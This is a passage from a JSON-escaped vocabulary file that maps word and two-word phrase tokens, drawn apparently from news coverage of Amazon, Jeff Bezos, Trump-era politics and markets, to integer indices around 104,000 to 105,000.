104280,\n  \"wing news\": 104281,\n  \"lose weight\": 104282,\n  \"ticking\": 104283,\n  \"benjamin netanyahu\": 104284,\n  \"stretchy membrane\": 104285,\n  \"actually helped\": 104286,\n  \"online amazon\": 104287,\n  \"national unemployment\": 104288,\n  \"section located\": 104289,\n  \"face subpoenas\": 104290,\n  \"dinette set\": 104291,\n  \"craw\": 104292,\n  \"trading strategies\": 104293,\n  \"fortune ranked\": 104294,\n  \"growth story\": 104295,\n  \"playerinstance getvideodata\": 104296,\n  \"us32 billion\": 104297,\n  \"restorer\": 104298,\n  \"trade union\": 104299,\n  \"summit 2018\": 104300,\n  \"cap opened\": 104301,\n  \"daniel drezner\": 104302,\n  \"puzder claims\": 104303,\n  \"progressive center\": 104304,\n  \"upstarts\": 104305,\n  \"summer biggest\": 104306,\n  \"political contributions\": 104307,\n  \"decision expected\": 104308,\n  \"impressive twitter\": 104309,\n  \"hoenig\": 104310,\n  \"widely followed\": 104311,\n  \"administration estimates\": 104312,\n  \"does trevor\": 104313,\n  \"cnbc reiterated\": 104314,\n  \"making corporation\": 104315,\n  \"aviation award\": 104316,\n  \"source pjmedia\": 104317,\n  \"444ed7bb5ea74821be6b5fadf54818b4 960x0\": 104318,\n  \"1st time\": 104319,\n  \"caraga\": 104320,\n  \"insurgent\": 104321,\n  \"stopped marketing\": 104322,\n  \"providing service\": 104323,\n  \"piece starring\": 104324,\n  \"financially weaken\": 104325,\n  \"america heartland\": 104326,\n  \"produced event\": 104327,\n  \"delivers letters\": 104328,\n  \"influential article\": 104329,\n  \"wise kovach\": 104330,\n  \"captured half\": 104331,\n  \"different points\": 104332,\n  \"key house\": 104333,\n  \"change pelosi\": 104334,\n  \"bezos largesse\": 104335,\n  \"year climate\": 104336,\n  \"new couple\": 104337,\n  \"firmly denies\": 104338,\n  \"turnover hickman\": 104339,\n  \"retail category\": 104340,\n  \"gonzalez\": 104341,\n  \"shove\": 104342,\n  \"deserve\": 104343,\n  \"guided tour\": 104344,\n  \"aircraft tens\": 104345,\n  \"famously claimed\": 104346,\n  \"james robert\": 104347,\n  \"vaguely threatening\": 104348,\n  \"forecast houston\": 104349,\n  \"tom steyer\": 104350,\n  \"lead task\": 104351,\n  \"legitimate news\": 104352,\n  \"campaign stopped\": 104353,\n  \"costs suze\": 104354,\n  \"outlook maduro\": 104355,\n  \"obsessive\": 104356,\n  \"florida fundraiser\": 104357,\n  \"great little\": 104358,\n  \"ming zeng\": 104359,\n  \"china helps\": 104360,\n  \"additional donations\": 104361,\n  \"llc\": 104362,\n  \"treasury led\": 104363,\n  \"aouste\": 104364,\n  \"situation faced\": 104365,\n  \"amazon users\": 104366,\n  \"government works\": 104367,\n  \"eyes peeled\": 104368,\n  \"cole reaction\": 104369,\n  \"wall money\": 104370,\n  \"businessman sent\": 104371,\n  \"bearing ivanka\": 104372,\n  \"deigning\": 104373,\n  \"proudly crediting\": 104374,\n  \"revoked interference\": 104375,\n  \"2018 passages\": 104376,\n  \"slandered china\": 104377,\n  \"employee sent\": 104378,\n  \"iphone charging\": 104379,\n  \"v0 c0\": 104380,\n  \"military coup\": 104381,\n  \"controversy san\": 104382,\n  \"years thomas\": 104383,\n  \"little trump\": 104384,\n  \"acquisition targets\": 104385,\n  \"administration pulled\": 104386,\n  \"poorer trump\": 104387,\n  \"pre school\": 104388,\n  \"strategic actions\": 104389,\n  \"given information\": 104390,\n  \"0316\": 104391,\n  \"sweeteners colors\": 104392,\n  \"amid months\": 104393,\n  \"grain terminal\": 104394,\n  \"bain study\": 104395,\n  \"2019 damn\": 104396,\n  \"lift sanctions\": 104397,\n  \"2839172\": 104398,\n  \"indulging\": 104399,\n  \"week going\": 104400,\n  \"listen maybe\": 104401,\n  \"editors 2018\": 104402,\n  \"meyerhoff\": 104403,\n  \"zinke stands\": 104404,\n  \"pure fin\": 104405,\n  \"scrutiny sen\": 104406,\n  \"thosequestions don\": 104407,\n  \"carahsoft\": 104408,\n  \"driveway\": 104409,\n  \"public pronouncements\": 104410,\n  \"selling pressure\": 104411,\n  \"mair cited\": 104412,\n  \"attorneys cbs\": 104413,\n  \"exports\": 104414,\n  \"railroad monopoly\": 104415,\n  \"employee reportedly\": 104416,\n  \"gauge\": 104417,\n  \"marketoracle\": 104418,\n  \"hasan\": 104419,\n  \"arranging\": 104420,\n  \"hema\": 104421,\n  \"china real\": 104422,\n  \"operations bezos\": 104423,\n  \"detente\": 104424,\n  \"numerous embarrassing\": 104425,\n  \"tedcruz\": 104426,\n  \"haven dumped\": 104427,\n  \"flex workers\": 104428,\n  \"wall set\": 104429,\n  \"anybody dare\": 104430,\n  \"kimmel saved\": 104431,\n  \"publication threatened\": 104432,\n  \"doing deliveries\": 104433,\n  \"samaritan read\": 104434,\n  \"order volume\": 104435,\n  \"x8 l2\": 104436,\n  \"order saying\": 104437,\n  \"legal implications\": 104438,\n  \"oars\": 104439,\n  \"sauce spawned\": 104440,\n  \"aerospace\": 104441,\n  \"thumbnails\": 104442,\n  \"recommendation list\": 104443,\n  \"deal prime\": 104444,\n  \"furious online\": 104445,\n  \"firm stays\": 104446,\n  \"larger trend\": 104447,\n  \"feel personally\": 104448,\n  \"electronic logging\": 104449,\n  \"indicates amazon\": 104450,\n  \"graham gonna\": 104451,\n  \"magazine olivia\": 104452,\n  \"2017 price\": 104453,\n  \"people problems\": 104454,\n  \"executive sundar\": 104455,\n  \"small homes\": 104456,\n  \"resembling fedex\": 104457,\n  \"leeway\": 104458,\n  \"u2x j8\": 104459,\n  \"want want\": 104460,\n  \"422\": 104461,\n  \"newsletter called\": 104462,\n  \"toupee\": 104463,\n  \"2001 waiting\": 104464,\n  \"oakland park\": 104465,\n  \"sheffieldissuper yorkshireis\": 104466,\n  \"india fast\": 104467,\n  \"specific concern\": 104468,\n  \"ravaged\": 104469,\n  \"mob imageurl\": 104470,\n  \"wants shoppers\": 104471,\n  \"fully restored\": 104472,\n  \"place obama\": 104473,\n  \"foxconn upcoming\": 104474,\n  \"authority granted\": 104475,\n  \"firm owns\": 104476,\n  \"vehement\": 104477,\n  \"certainly did\": 104478,\n  \"i_d\": 104479,\n  \"fast paced\": 104480,\n  \"company owner\": 104481,\n  \"global trademark\": 104482,\n  \"trump personality\": 104483,\n  \"donny wacky\": 104484,\n  \"incubator combinator\": 104485,\n  \"sourcescott olson\": 104486,\n  \"macquarie predicts\": 104487,\n  \"aboutwhat\": 104488,\n  \"bootlegs\": 104489,\n  \"mueller wrapped\": 104490,\n  \"china pence\": 104491,\n  \"national selection\": 104492,\n  \"start company\": 104493,\n  \"eric mccormack\": 104494,\n  \"musk fails\": 104495,\n  \"wrists\": 104496,\n  \"detailed critique\": 104497,\n  \"government environmental\": 104498,\n  \"allows states\": 104499,\n  \"speculationwhether\": 104500,\n  \"coma gives\": 104501,\n  \"months amid\": 104502,\n  \"area instead\": 104503,\n  \"dollars leaders\": 104504,\n  \"walker going\": 104505,\n  \"instantly scanned\": 104506,\n  \"nyse pfe\": 104507,\n  \"pete davidson\": 104508,\n  \"construction begins\": 104509,\n  \"senator gianaris\": 104510,\n  \"increasingly anachronistic\": 104511,\n  \"upholt\": 104512,\n  \"photo ark\": 104513,\n  \"amazon new\": 104514,\n  \"think republicans\": 104515,\n  \"scope travelers\": 104516,\n  \"cagey\": 104517,\n  \"trump described\": 104518,\n  \"pushing code\": 104519,\n  \"amazon stays\": 104520,\n  \"ami wrote\": 104521,\n  \"rivalries national\": 104522,\n  \"hits actually\": 104523,\n  \"life wasted\": 104524,\n  \"displace indigenous\": 104525,\n  \"neighborhood long\": 104526,\n  \"column\": 104527,\n  \"commentary mounted\": 104528,\n  \"embark\": 104529,\n  \"guardian newspaper\": 104530,\n  \"elliot alderson\": 104531,\n  \"plot revolves\": 104532,\n  \"victim nazi\": 104533,\n  \"competitive nature\": 104534,\n  \"binge lately\": 104535,\n  \"mcternan rodale\": 104536,\n  \"midland\": 104537,\n  \"tomlin press\": 104538,\n  \"problems peeing\": 104539,\n  \"key sector\": 104540,\n  \"profile danny\": 104541,\n  \"strong demand\": 104542,\n  \"stance\": 104543,\n  \"andr\\u00e9 lotterer\": 104544,\n  \"sweetheart arrangement\": 104545,\n  \"ey vaco\": 104546,\n  \"john allen\": 104547,\n  \"warmth\": 104548,\n  \"series development\": 104549,\n  \"stakeholder consensus\": 104550,\n  \"retailers towns\": 104551,\n  \"desk job\": 104552,\n  \"notyet\": 104553,\n  \"company recently\": 104554,\n  \"nfbk reported\": 104555,\n  \"angeles information\": 104556,\n  \"space offline\": 104557,\n  \"approvals\": 104558,\n  \"previous connections\": 104559,\n  \"men walked\": 104560,\n  \"seth pollack\": 104561,\n  \"storm miami\": 104562,\n  \"conference staged\": 104563,\n  \"policy process\": 104564,\n  \"ineffectual practice\": 104565,\n  \"company scams\": 104566,\n  \"avoidance\": 104567,\n  \"revamp\": 104568,\n  \"bulk delivers\": 104569,\n  \"kelly\": 104570,\n  \"technology task\": 104571,\n  \"develop systems\": 104572,\n  \"desirable\": 104573,\n  \"getting multiple\": 104574,\n  \"411 040\": 104575,\n  \"britton\": 104576,\n  \"amass\": 104577,\n  \"director doesn\": 104578,\n  \"facility demonstrates\": 104579,\n  \"nickelsburg gw\": 104580,\n  \"youngstown\": 104581,\n  \"lefties cronyism\": 104582,\n  \"operation chicago\": 104583,\n  \"reports surfaced\": 104584,\n  \"connectivity believe\": 104585,\n  \"competition alphabet\": 104586,\n  \"thrown\": 104587,\n  \"breaking activists\": 104588,\n  \"travel amazon\": 104589,\n  \"intelligence community\": 104590,\n  \"americans working\": 104591,\n  \"700 stores\": 104592,\n  \"deceive consumers\": 104593,\n  \"amazon office\": 104594,\n  \"terrifying movie\": 104595,\n  \"hoffman blitzscaling\": 104596,\n  \"director nancy\": 104597,\n  \"eventually hurt\": 104598,\n  \"tentative\": 104599,\n  \"reporting tactics\": 104600,\n  \"start feeling\": 104601,\n  \"presidency trump\": 104602,\n  \"regulatory capture\": 104603,\n  \"enables consumers\": 104604,\n  \"courted big\": 104605,\n  \"mismanagement\": 104606,\n  \"crowdtangle\": 104607,\n  \"dow futures\": 104608,\n  \"century coliseum\": 104609,\n  \"extra expenses\": 104610,\n  \"suspiria\": 104611,\n  \"amazon opportunity\": 104612,\n  \"assets possibility\": 104613,\n  \"profitable world\": 104614,\n  \"564\": 104615,\n  \"panic attack\": 104616,\n  \"defaults\": 104617,\n  \"aide told\": 104618,\n  \"ofan award\": 104619,\n  \"economy grew\": 104620,\n  \"anker powerport\": 104621,\n  \"tdy1rrxyabos6nze length\": 104622,\n  \"tweets trade\": 104623,\n  \"receive push\": 104624,\n  \"fake luxury\": 104625,\n  \"halo\": 104626,\n  \"county explained\": 104627,\n  \"article indonesia\": 104628,\n  \"encouraging direct\": 104629,\n  \"government changing\": 104630,\n  \"yesterday george\": 104631,\n  \"zeldin ny\": 104632,\n  \"property hideous\": 104633,\n  \"analytic way\": 104634,\n  \"services told\": 104635,\n  \"slap\": 104636,\n  \"republicans defend\": 104637,\n  \"websites booker\": 104638,\n  \"pool\": 104639,\n  \"special government\": 104640,\n  \"don recall\": 104641,\n  \"similar letter\": 104642,\n  \"built sizable\": 104643,\n  \"giant bans\": 104644,\n  \"unbreakable\": 104645,\n  \"protests assange\": 104646,\n  \"pocketed billions\": 104647,\n  \"filed federal\": 104648,\n  \"holds ph\": 104649,\n  \"explorer diego\": 104650,\n  \"fake personalization\": 104651,\n  \"josh ginsberg\": 104652,\n  \"beat wall\": 104653,\n  \"appreciating\": 104654,\n  \"allegedly claimed\": 104655,\n  \"subsidises\": 104656,\n  \"weak data\": 104657,\n  \"factors share\": 104658,\n  \"biggest risk\": 104659,\n  \"closed story\": 104660,\n  \"northumbria\": 104661,\n  \"relations entrepreneur\": 104662,\n  \"blackmail bezos\": 104663,\n  \"owner typical\": 104664,\n  \"stop feeding\": 104665,\n  \"sleepwalks\": 104666,\n  \"say economic\": 104667,\n  \"leaning florida\": 104668,\n  \"amazonian biological\": 104669,\n  \"marvelous\": 104670,\n  \"investors expectations\": 104671,\n  \"distillery according\": 104672,\n  \"difficulty managing\": 104673,\n  \"brag\": 104674,\n  \"immigrants group\": 104675,\n  \"post lawyer\": 104676,\n  \"american viticultural\": 104677,\n  \"amlo\": 104678,\n  \"workers availability\": 104679,\n  \"enthusiasm midterm\": 104680,\n  \"analysts estimated\": 104681,\n  \"600 point\": 104682,\n  \"horndog commerce\": 104683,\n  \"lc2kgo6men\": 104684,\n  \"tears dp\": 104685,\n  \"dozen lobbying\": 104686,\n  \"541 shares\": 104687,\n  \"reinventing\": 104688,\n  \"tennesseans\": 104689,\n  \"special subsidies\": 104690,\n  \"takes position\": 104691,\n  \"tv veteran\": 104692,\n  \"p8 random\": 104693,\n  \"male rural\": 104694,\n  \"g0 ea\": 104695,\n  \"doesn approve\": 104696,\n  \"boycottwalmart running\": 104697,\n  \"slammed\": 104698,\n  \"tallahassee\": 104699,\n  \"amazon ends\": 104700,\n  \"offering twitch\": 104701,\n  \"make life\": 104702,\n  \"news publishers\": 104703,\n  \"reinvents\": 104704,\n  \"xom intraday\": 104705,\n  \"regional economic\": 104706,\n  \"innovation foundation\": 104707,\n  \"purges\": 104708,\n  \"time looked\": 104709,\n  \"chilling example\": 104710,\n  \"college scholarship\": 104711,\n  \"ultimate\": 104712,\n  \"a380\": 104713,\n  \"community intentionally\": 104714,\n  \"expense item\": 104715,\n  \"organization helped\": 104716,\n  \"trump lambast\": 104717,\n  \"trump death\": 104718,\n  \"cuny\": 104719,\n  \"new allegations\": 104720,\n  \"brazilian press\": 104721,\n  \"surveillance complex\": 104722,\n  \"month making\": 104723,\n  \"establish enforcement\": 104724,\n  \"changing corporate\": 104725,\n  \"changes regarding\": 104726,\n  \"biology\": 104727,\n  \"circumvent competitive\": 104728,\n  \"affecting\": 104729,\n  \"news video\": 104730,\n  \"earnings release\": 104731,\n  \"tuesdaymotivation charitytuesday\": 104732,\n  \"hasn grappled\": 104733,\n  \"buying activity\": 104734,\n  \"ira\": 104735,\n  \"kits guitar\": 104736,\n  \"drive fell\": 104737,\n  \"magically turn\": 104738,\n  \"smaller cities\": 104739,\n  \"law expanded\": 104740,\n  \"occasion\": 104741,\n  \"cola ko\": 104742,\n  \"founded owns\": 104743,\n  \"dea agent\": 104744,\n  \"raunchiest\": 104745,\n  \"hangzhou\": 104746,\n  \"firms pay\": 104747,\n  \"bottle nalgene\": 104748,\n  \"divorcing weeks\": 104749,\n  \"interruptions\": 104750,\n  \"burgeoning value\": 104751,\n  \"onions\": 104752,\n  \"robust team\": 104753,\n  \"face significant\": 104754,\n  \"hydration water\": 104755,\n  \"disaster money\": 104756,\n  \"rage competing\": 104757,\n  \"phones oppo\": 104758,\n  \"cuomo spoke\": 104759,\n  \"banking practices\": 104760,\n  \"marketplace machine\": 104761,\n  \"include data\": 104762,\n  \"thing markets\": 104763,\n  \"customer relationships\": 104764,\n  \"performance team\": 104765,\n  \"court upholds\": 104766,\n  \"billion items\": 104767,\n  \"proceeding amazon\": 104768,\n  \"herera exactly\": 104769,\n  \"relatively\": 104770,\n  \"void t9x\": 104771,\n  \"going allow\": 104772,\n  \"james says\": 104773,\n  \"standard rate\": 104774,\n  \"meyer wrote\": 104775,\n  \"american think\": 104776,\n  \"spalding group\": 104777,\n  \"market snapshot\": 104778,\n  \"boorstin\": 104779,\n  \"dogs outside\": 104780,\n  \"lacy spielberg\": 104781,\n  \"avoid listing\": 104782,\n  \"magical\": 104783,\n  \"bestseller status\": 104784,\n  \"advantageous government\": 104785,\n  \"trump stood\": 104786,\n  \"chicago officer\": 104787,\n  \"results achieved\": 104788,\n  \"government work\": 104789,\n  \"fentanyl seizure\": 104790,\n  \"having downbeat\": 104791,\n  \"christmas day\": 104792,\n  \"tech book\": 104793,\n  \"longtime ally\": 104794,\n  \"gc_custom_credit null\": 104795,\n  \"intersection\": 104796,\n  \"defends brett\": 104797,\n  \"heir\": 104798,\n  \"motivated cozy\": 104799,\n  \"supremacist attacks\": 104800,\n  \"complex supply\": 104801,\n  \"country going\": 104802,\n  \"zing visit\": 104803,\n  \"challenges confronted\": 104804,\n  \"profits according\": 104805,\n  \"senate hearing\": 104806,\n  \"power driven\": 104807,\n  \"altering drugs\": 104808,\n  \"killer lawsuits\": 104809,\n  \"sues tribune\": 104810,\n  \"sanford\": 104811,\n  \"proposed price\": 104812,\n  \"jeffbozo eat\": 104813,\n  \"clip dan\": 104814,\n  \"tami\": 104815,\n  \"conference following\": 104816,\n  \"constantly asked\": 104817,\n  \"content shows\": 104818,\n  \"especially evident\": 104819,\n  \"biggest leaker\": 104820,\n  \"2016 reads\": 104821,\n  \"1a a4ee\": 104822,\n  \"algorithms\": 104823,\n  \"moser mean\": 104824,\n  \"granted pardon\": 104825,\n  \"set watchman\": 104826,\n  \"jordan treece\": 104827,\n  \"research note\": 104828,\n  \"president 2017\": 104829,\n  \"misleading amazon\": 104830,\n  \"offer significant\": 104831,\n  \"influencers\": 104832,\n  \"secretary zinke\": 104833,\n  \"rainforest federal\": 104834,\n  \"newyorkgritty net\": 104835,\n  \"fall\": 104836,\n  \"journalists\": 104837,\n  \"wrote gannett\": 104838,\n  \"swan jonathanvswan\": 104839,\n  \"disrespecting\": 104840,\n  \"toughest litigators\": 104841,\n  \"owned post\": 104842,\n  \"advocate subpoena\": 104843,\n  \"balked\": 104844,\n  \"t000002771\": 104845,\n  \"marriage following\": 104846,\n  \"interviews\": 104847,\n  \"423 17m\": 104848,\n  \"quasi government\": 104849,\n  \"youth pledge\": 104850,\n  \"push mercedes\": 104851,\n  \"youthful hetmyer\": 104852,\n  \"francis according\": 104853,\n  \"right mean\": 104854,\n  \"ap entertainment\": 104855,\n  \"day alex\": 104856,\n  \"appario retail\": 104857,\n  \"reader nook\": 104858,\n  \"computers awaiting\": 104859,\n  \"memo issued\": 104860,\n  \"german marshall\": 104861,\n  \"seattle nwsseattle\": 104862,\n  \"audience michael\": 104863,\n  \"catalogs chronology\": 104864,\n  \"day rebecca\": 104865,\n  \"2017 prior\": 104866,\n  \"debauching\": 104867,\n  \"geekwire don\": 104868,\n  \"helped send\": 104869,\n  \"spend money\": 104870,\n  \"york 2019\": 104871,\n  \"watch target\": 104872,\n  \"visit usps\": 104873,\n  \"anchor silicon\": 104874,\n  \"procter gamble\": 104875,\n  \"good choreographed\": 104876,\n  \"236 cities\": 104877,\n  \"green lobby\": 104878,\n  \"provocative speech\": 104879,\n  \"suv orig\": 104880,\n  \"prescription\": 104881,\n  \"sinnet\": 104882,\n  \"irregular\": 104883,\n  \"instead according\": 104884,\n  \"403\": 104885,\n  \"potus hating\": 104886,\n  \"making 576\": 104887,\n  \"sap\": 104888,\n  \"neckband regular\": 104889,\n  \"juul\": 104890,\n  \"2023 amazon\": 104891,\n  \"amazon secondary\": 104892,\n  \"looks funny\": 104893,\n  \"china john\": 104894,\n  \"president recep\": 104895,\n  \"progresses\": 104896,\n  \"national anthem\": 104897,\n  \"resolutions\": 104898,\n  \"campus plan\": 104899,\n  \"bullet point\": 104900,\n  \"reportedly emailed\": 104901,\n  \"wild conspiracy\": 104902,\n  \"lowered price\": 104903,\n  \"leading freight\": 104904,\n  \"cellphone users\": 104905,\n  \"amazon gonna\": 104906,\n  \"emergency oscars\": 104907,\n  \"deported\": 104908,\n  \"security scanners\": 104909,\n  \"planes amazon\": 104910,\n  \"employees protested\": 104911,\n  \"result ianniello\": 104912,\n  \"mastered\": 104913,\n  \"960 worth\": 104914,\n  \"list\": 104915,\n  \"southerner health\": 104916,\n  \"earlier defense\": 104917,\n  \"city police\": 104918,\n  \"special situations\": 104919,\n  \"antitrust business\": 104920,\n  \"concerning according\": 104921,\n  \"pressure dagen\": 104922,\n  \"sneaking counterfeits\": 104923,\n  \"eliminate airplanes\": 104924,\n  \"gigafactory\": 104925,\n  \"marshall\": 104926,\n  \"300x200 uploaded_files\": 104927,\n  \"crushing taxes\": 104928,\n  \"company oracle\": 104929,\n  \"administered\": 104930,\n  \"nasty pdf\": 104931,\n  \"record lobbying\": 104932,\n  \"levy tariffs\": 104933,\n  \"based celebrity\": 104934,\n  \"charges companies\": 104935,\n  \"senior democratic\": 104936,\n  \"replenishment\": 104937,\n  \"calia\": 104938,\n  \"decades rewarding\": 104939,\n  \"watched closely\": 104940,\n  \"policy tightening\": 104941,\n  \"biden potential\": 104942,\n  \"designation ultimately\": 104943,\n  \"2017 file\": 104944,\n  \"esteem sen\": 104945,\n  \"hanks\": 104946,\n  \"pelosi office\": 104947,\n  \"particularly upset\": 104948,\n  \"employees demand\": 104949,\n  \"nuruddin farah\": 104950,\n  \"sign prenuptial\": 104951,\n  \"excellent journalism\": 104952,\n  \"ssoper bloomberg\": 104953,\n  \"lawyers disgraceful\": 104954,\n  \"prefigures\": 104955,\n  \"regular amazon\": 104956,\n  \"photo washington\": 104957,\n  \"electrocution\": 104958,\n  \"china read\": 104959,\n  \"design limits\": 104960,\n  \"marriage historical\": 104961,\n  \"ongoing digitization\": 104962,\n  \"oct premise\": 104963,\n  \"incites\": 104964,\n  \"joshua harpoonconnect\": 104965,\n  \"charging rahel\": 104966,\n  \"trump writing\": 104967,\n  \"dropping amazon\": 104968,\n  \"major concern\": 104969,\n  \"house owners\": 104970,\n  \"online retailer\": 104971,\n  \"member commission\": 104972,\n  \"affairs engineering\": 104973,\n  \"senator bernie\": 104974,\n  \"pages warning\": 104975,\n  \"cities read\": 104976,\n  \"hidethumbnail containerid\": 104977,\n  \"pages saluting\": 104978,\n  \"follows nella\": 104979,\n  \"wouldn lose\": 104980,\n  \"trials\": 104981,\n  \"winning city\": 104982,\n  \"cnbc\": 104983,\n  \"corporate income\": 104984,\n  \"taunt refers\": 104985,\n  \"dortch hardy\": 104986,\n  \"amgen amazon\": 104987,\n  \"taxes resorting\": 104988,\n  \"old charity\": 104989,\n  \"networks according\": 104990,\n  \"headcount doubling\": 104991,\n  \"bouquet\": 104992,\n  \"world series\": 104993,\n  \"forcing drugmakers\": 104994,\n  \"skater\": 104995,\n  \"makers say\": 104996,\n  \"administration associate\": 104997,\n  \"opening fashion\": 104998,\n  \"company best\": 104999,\n  \"afp ap\": 105000,\n  \"ways antitrust\": 105001,\n  \"network effect\": 105002,\n  \"schools took\": 105003,\n  \"blonde toupee\": 105004,\n  \"lists bezos\": 105005,\n  \"2017 stephanie\": 105006,\n  \"corporate sentiment\": 105007,\n  \"british pounds\": 105008,\n  \"gusty winds\": 105009,\n  \"intertangled\": 105010,\n  \"commons voted\": 105011,\n  \"amazon suggesting\": 105012,\n  \"suppress sales\": 105013,\n  \"trimester procedures\": 105014,\n  \"blunt threats\": 105015,\n  \"freking sent\": 105016,\n  \"workflows involves\": 105017,\n  \"reading terrifying\": 105018,\n  \"asserting\": 105019,\n  \"media offices\": 105020,\n  \"goklany career\": 105021,\n  \"hammered dragged\": 105022,\n  \"excellence chef\": 105023,\n  \"republicans currently\": 105024,\n  \"acting head\": 105025,\n  \"santas\": 105026,\n  \"summer highs\": 105027,\n  \"decisions lightly\": 105028,\n  \"taylor collins\": 105029,\n  \"easily run\": 105030,\n  \"sincerely believe\": 105031,\n  \"human traffickers\": 105032,\n  \"final antagonism\": 105033,\n  \"food enroute\": 105034,\n  \"apple instructed\": 105035,\n  \"ovation pic\": 105036,\n  \"intersex\": 105037,\n  \"competitive democratic\": 105038,\n  \"devices cloud\": 105039,\n  \"containerclassid videopinner\": 105040,\n  \"discussion entitled\": 105041,\n  \"wife bezos\": 105042,\n  \"created greater\": 105043,\n  \"howard alleged\": 105044,\n  \"articleshow\": 105045,\n  \"tostring length\": 105046,\n  \"office earners\": 105047,\n  \"microsoft azure\": 105048,\n  \"anonymously\": 105049,\n  \"tilefeatureimagex2\": 105050,\n  \"potentially cheaper\": 105051,\n  \"2020 victory\": 105052,\n  \"company later\": 105053,\n  \"ruth life\": 105054,\n  \"sidelined\": 105055,\n  \"employees wrote\": 105056,\n  \"arrests increased\": 105057,\n  \"point wonder\": 105058,\n  \"evrnu touts\": 105059,\n  \"disproportionate burdens\": 105060,\n  \"report recommending\": 105061,\n  \"r4ee d6\": 105062,\n  \"air taxi\": 105063,\n  \"primaries making\": 105064,\n  \"withholding support\": 105065,\n  \"tennessee manhunt\": 105066,\n  \"maryland lawmakers\": 105067,\n  \"public college\": 105068,\n  \"psc drink\": 105069,\n  \"information customers\": 105070,\n  \"considerations\": 105071,\n  \"accompli\": 105072,\n  \"q2 earnings\": 105073,\n  \"believe gianaris\": 105074,\n  \"messages seeking\": 105075,\n  \"branch\": 105076,\n  \"consume\": 105077,\n  \"ewiw6dkhz8 smita\": 105078,\n  \"comments misleading\": 105079,\n  \"barrage balloon\": 105080,\n  \"snatchers\": 105081,\n  \"long shot\": 105082,\n  \"affair phillips\": 105083,\n  \"nelson epa\": 105084,\n  \"just google\": 105085,\n  \"holidays moody\": 105086,\n  \"denis\": 105087,\n  \"chairman marc\": 105088,\n  \"honestly speaking\": 105089,\n  \"glad amazon\": 105090,\n  \"later notes\": 105091,\n  \"nordegren\": 105092,\n  \"summit hasn\": 105093,\n  \"job great\": 105094,\n  \"receive state\": 105095,\n  \"captive foreign\": 105096,\n  \"boilerplate statement\": 105097,\n  \"kicking amazon\": 105098,\n  \"exports worth\": 105099,\n  \"xavier\": 105100,\n  \"consumer affairs\": 105101,\n  \"franklin\": 105102,\n  \"week writing\": 105103,\n  \"mail received\": 105104,\n  \"putting large\": 105105,\n  \"administration rules\": 105106,\n  \"strand\": 105107,\n  \"republican complained\": 105108,\n  \"leadership companies\": 105109,\n  \"sanchez rated\": 105110,\n  \"piggyback\": 105111,\n  \"correspondents\": 105112,\n  \"ancient language\": 105113,\n  \"h6\": 105114,\n  \"just hundreds\": 105115,\n  \"usd 150\": 105116,\n  \"cnbc eugene\": 105117,\n  \"comments refer\": 105118,\n  \"potsof\": 105119,\n  \"rodman\": 105120,\n  \"helping 2018\": 105121,\n  \"scale model\": 105122,\n  \"abortion pledges\": 105123,\n  \"r4ee h6\": 105124,\n  \"bids pained\": 105125,\n  \"favoring northern\": 105126,\n  \"land sea\": 105127,\n  \"giuliani later\": 105128,\n  \"time unless\": 105129,\n  \"feldmaniac\": 105130,\n  \"number assigned\": 105131,\n  \"retained\": 105132,\n  \"korea kim\": 105133,\n  \"return c9x\": 105134,\n  \"walmart shows\": 105135,\n  \"states canadians\": 105136,\n  \"fact trump\": 105137,\n  \"terrors\": 105138,\n  \"amanda edwards\": 105139,\n  \"local chapter\": 105140,\n  \"brexit published\": 105141,\n  \"abrams tennessee\": 105142,\n  \"china ming\": 105143,\n  \"injunction\": 105144,\n  \"amazon associates\": 105145,\n  \"successive tweetstorm\": 105146,\n  \"signing amazon\": 105147,\n  \"subsidiary fined\": 105148,\n  \"meryl\": 105149,\n  \"washington hosting\": 105150,\n  \"sort data\": 105151,\n  \"order drug\": 105152,\n  \"jedi ives\": 105153,\n  \"president wish\": 105154,\n  \"chelsea fc\": 105155,\n  \"free total\": 105156,\n  \"begin labeling\": 105157,\n  \"deadly thirst\": 105158,\n  \"phone kickstand\": 105159,\n  \"agreement dating\": 105160,\n  \"right maria\": 105161,\n  \"empowers brands\": 105162,\n  \"ill democrats\": 105163,\n  \"v7a d1a\": 105164,\n  \"npr kelsey\": 105165,\n  \"scene selfie\": 105166,\n  \"original battle\": 105167,\n  \"z4 var\": 105168,\n  \"ssd\": 105169,\n  \"thomson advice\": 105170,\n  \"yglesias amazon\": 105171,\n  \"acquisitions going\": 105172,\n  \"barr 2018\": 105173,\n  \"shares 375\": 105174,\n  \"politics president\": 105175,\n  \"caitlin\": 105176,\n  \"bezos amazon\": 105177,\n  \"research price\": 105178,\n  \"pops\": 105179,\n  \"flawless\": 105180,\n  \"agent amazon\": 105181,\n  \"sourcetasos\": 105182,\n  \"taken hard\": 105183,\n  \"badass headlineplaintext\": 105184,\n  \"health vision\": 105185,\n  \"friendly mode\": 105186,\n  \"report presentation\": 105187,\n  \"incident kadestsky\": 105188,\n  \"gop primary\": 105189,\n  \"packing heat\": 105190,\n  \"environment immigration\": 105191,\n  \"rich powerful\": 105192,\n  \"public version\": 105193,\n  \"fred smith\": 105194,\n  \"pricing won\": 105195,\n  \"wide variety\": 105196,\n  \"giant selected\": 105197,\n  \"continue talking\": 105198,\n  \"information voters\": 105199,\n  \"regularly runs\": 105200,\n  \"older people\": 105201,\n  \"nyse ms\": 105202,\n  \"demand bad\": 105203,\n  \"sting\": 105204,\n  \"rate cycle\": 105205,\n  \"mic staff\": 105206,\n  \"critical media\": 105207,\n  \"crown costumes\": 105208,\n  \"complicated mess\": 105209,\n  \"retinol\": 105210,\n  \"bezos earns\": 105211,\n  \"taxi\": 105212,\n  \"ad prices\": 105213,\n  \"temperament layer\": 105214,\n  \"palkar\": 105215,\n  \"taxpayers immediately\": 105216,\n  \"videos calling\": 105217,\n  \"report claims\": 105218,\n  \"tjx aldi\": 105219,\n  \"turkey freeing\": 105220,\n  \"patent expired\": 105221,\n  \"notion lots\": 105222,\n  \"campaign ties\": 105223,\n  \"briggs\": 105224,\n  \"hurting alcoa\": 105225,\n  \"lawsuit argues\": 105226,\n  \"prostitutes abramowitz\": 105227,\n  \"insular\": 105228,\n  \"companies inbound\": 105229,\n  \"carrier utx\": 105230,\n  \"chose beijing\": 105231,\n  \"differ\": 105232,\n  \"experimented\": 105233,\n  \"standalone episodes\": 105234,\n  \"ultimately decided\": 105235,\n  \"primeday remember\": 105236,\n  \"marketplace\": 105237,\n  \"luminaid inflatable\": 105238,\n  \"palantir collect\": 105239,\n  \"community jails\": 105240,\n  \"edgar hoover\": 105241,\n  \"deal sister\": 105242,\n  \"reagan\": 105243,\n  \"previously relied\": 105244,\n  \"gaap generated\": 105245,\n  